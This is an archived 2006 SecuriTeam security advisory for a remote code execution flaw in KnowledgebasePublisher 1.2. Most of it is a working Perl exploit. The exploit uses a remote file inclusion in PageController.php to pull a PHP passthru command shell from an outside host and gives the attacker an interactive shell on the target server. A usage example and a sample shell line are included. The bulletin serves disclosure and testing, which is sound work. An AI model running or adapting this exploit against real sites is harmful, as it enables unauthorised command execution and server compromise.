

[EXPL] KnowledgebasePublisher Command Execution (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00042.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 15 Mar 2006 14:32:58 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

KnowledgebasePublisher Command Execution (Exploit)

SUMMARY

<<http://kbpublisher.sourceforge.net/>> KnowledgebasePublisher is "a free and Opensource knowledgebase / FAQ solution for your websites, or just content manager about any other type of article that you want to publish on your website. It's so easy to use that you can be managing knowledgebase on your website right from your own web browser".

A command execution vulnerability has been discovered in KnowledgebasePublisher that allows remote attackers to cause the program to execute arbitrary code, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

```
Exploit:
#!/usr/bin/perl
##
# KnowledgebasePublisher 1.2 Remote Code Execution Exploit
# Bug Found By uid0
##
```

[EXPL] KnowledgebasePublisher Command Execution (Exploit)

```
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl knowledgebase.pl <location of KnowledgebasePublisher> <cmd shell
location <cmd shell variable>
#
# perl knowledgebase.pl http://site.com/knowledgebase/
http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone
else!
#
# special shout to [ill]will! come back soon from jail!
##
# Contact: www.exploitercode.com irc.exploitercode.com
uid0@xxxxxxxxxxxxxxxxxxxx
##

use LWP::UserAgent;

$Path = $ARGV[0];
$PathtoCmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $PathtoCmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
print "[shell] \>";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);

$xml = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'client/faq_1/PageController.php?dir='.$PathtoCmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not
connect\n";

$res = $xml->request($req);
$return = $res->content;
$return =~ tr/\n/[/ /;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return = "";}
}
```

[EXPL] KnowledgebasePublisher Command Execution (Exploit)

```
elseif ($return =~/failed to open stream: HTTP request failed!/ || $return
=~/: Cannot execute a blank command in <b>/)
{print "\nCould Not Connect to cmd Host or Invalid Command
Variable\n";exit}
elseif ($return =~/^\<br.\>.<b>Fatal.error/) {print "\nInvalid Command or
No Return\n\n"}

if($return =~ /(.)<br.\>.<b>Fatal.error/)

{
$finreturn = $1;
$finreturn=~ tr/[ /\n]/;
print "\r\n$finreturn\n\r";
last;
}

else {print "[shell] \$";}}last;

sub head()
{
print "\n===== \r\n";
print " *KnowledgebasePublisher 1.2 Remote Code Execution Exploit by
ExploiterCode.com* \r\n";
print "===== \r\n";
}
sub usage()
{
head();
print " Usage: knowledgebase.pl <Site> <cmd shell> <cmd variable>\r\n\n";
print " <Site> – Full path to KnowledgebasePublisher ex:
http://www.site.com/knowledge/ \r\n";
print " <cmd shell> – Path to Cmd Shell e.g http://www.site.com/cmd.txt
\r\n";
print " <cmd variable> – Command variable used in php shell \r\n";
print "===== \r\n";
print " Bug Found by uid0\r\n";
print " www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
print "===== \r\n";
exit();
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:uid0@xxxxxxxxxxxxxxxxxxxx>>
uid0.

[EXPL] KnowledgebasePublisher Command Execution (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.